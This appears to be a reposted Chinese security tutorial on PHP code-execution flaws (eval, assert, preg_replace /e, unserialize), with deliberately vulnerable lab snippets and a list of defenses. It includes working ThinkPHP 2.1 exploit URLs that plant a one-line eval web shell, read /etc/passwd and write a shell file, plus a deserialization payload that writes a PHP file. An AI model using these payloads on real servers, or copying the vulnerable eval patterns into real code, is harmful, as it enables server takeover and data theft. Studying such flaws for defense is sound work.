2. 代碼執行漏洞
阿新 • • 發佈:2018-05-27
nsh set think mixed 生成文件 sse add PE .com
具體操作
代碼執行
當應用在調用一些能將字符轉化為代碼的函數(如PHP中的eval)時,
沒有考慮用戶是否能控制這個字符串,這就會造成代碼執行漏洞。
相關函數
PHP:eval assert
Python:exec
asp:<%=CreateObject(“wscript.shell”).exec(“cmd.exe /c ipconfig”).StdOut.ReadAll()%>
Java:沒有類似函數,但采用的反射機制和各種基於反射機制的表達式引擎(OGNL、SpEL、MVEL等)有類似功能
phpcms中的string2array函數
這個函數可以將phpcms的數據庫settings的字符串形式的數組內容轉換為真實的數組
array( //這個是字符串形式的數組,它並不是數組,而是字符串 ‘upload_maxsize‘ => ‘2048‘, ‘upload_allowext‘ => ‘jpg|jpeg|gif|bmp|png|doc|docx|xls|xlsx|ppt|pptx|pdf|txt|rar|zip|swf‘, ‘watermark_enable‘ => ‘1‘, ‘watermark_minwidth‘ => ‘300‘, ‘watermark_minheight‘ => ‘300‘, ‘watermark_img‘ => ‘/statics/images/water/mark.png‘, ‘watermark_pct‘ => ‘85‘, ‘watermark_quality‘ => ‘80‘, ‘watermark_pos‘ => ‘9‘, ) function string2array($data) { //這個函數可以將字符串$data轉化為數組 if($data == ‘‘) return array(); @eval("\$array = $data;"); return $array; }
漏洞危害
執行代碼 讓網站寫shell 甚至控制服務器
漏洞分類(也是利用點)
執行代碼的函數:eval、assert
callback函數:preg_replace + /e模式
反序列化:unserialize()(反序列化函數)
搭建環境實驗
- 示例一
<?php $data = $_GET[‘data‘]; eval("\$ret = $data;"); echo $ret; ?>
- 示例二
<?php $data = $_GET[‘data‘]; eval("\$ret = strtolower(‘$data‘);"); echo $ret; ?>
- 示例三
<?php $data = $_GET[‘data‘]; eval("\$ret = strtolower(\"$data\");"); echo $ret; ?>
- 示例四
<?php $data = $_GET[‘data‘]; eval("\$ret = strtolower(\"$data\");"); echo $ret; ?>
- 示例五
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
/e修正符使preg_replace()將replacement參數當作PHP 代碼(在適當的逆向引用替換完之後)
<?php $data = $_GET[‘data‘]; // echo $data; preg_replace(‘/<data>(.*)<\/data>/e‘,‘$ret = "\\1"‘,$data); echo $ret; ?>
具體操作
# 一般找CMS相應版本漏洞,如ThinkPHP2.1
* 一句話
http://www.xxx.com/News/detail/id/{${@eval($_POST[aa])}}
* 得到當前路徑
http://www.xxx.com/News/detail/id/{${print(getcwd()))}}
* 讀文件
http://www.xxx.com/News/detail/id/{${exit(var_dump(file_get_contents($_POST[‘f‘])))}}
POST的數據為:f=/etc/passwd
* 寫shell
http://www.xxx.com/News/detail/id/{${exit(var_dump(file_put_contents($_POST[‘f‘],$_POST[d])))}}
POST的數據為:f=1.php&d=<?php @eval($_POST[‘aa‘])?>
漏洞防禦
1.使用json保存數組,當讀取時就不需要使用eval了
2.對於必須使用eval的地方,一定嚴格處理用戶數據
3.字符串使用單引號包括可控代碼,插入前使用addslashes轉義
4.放棄使用preg_replace的e修飾符,使用preg_replace_callback()替換
5.若必須使用preg_replace的e修飾符,則必用單引號包裹正則匹配出的對象
關於反序列化漏洞
序列化:使用函數serialize()可將實例序列化為字符串
反序列化:使用函數unserialize()可將序列化的字符串還原
若服務端有如下代碼:
<?php class foo{ public $file = "test.txt"; public $data = "123456"; function __destruct(){ file_put_contents($this->file,$this->data); } } $d = $_REQUEST[‘str‘]; var_dump($d); echo "<br />"; $tc = unserialize(base64_decode($d)); var_dump($tc); ?>
客戶端可構造如下代碼生成序列化後的字符串提交給服務端,
服務端就會生成文件xx.php,內容為<b><?php phpinfo(); ?></b>:
<?php class foo { public $?le = "test.txt"; public $data = "123456"; function __destruct() { ?le_put_contents($this->?le, $this->data); } } $f = new foo(); $f->?le = "xx.php"; $f->data = "<?php phpinfo(); ?>"; echo base64_encode(serialize($f)); ?>
原文鏈接:http://wyb0.com/posts/code-execution-vulnerabilities/
2. 代碼執行漏洞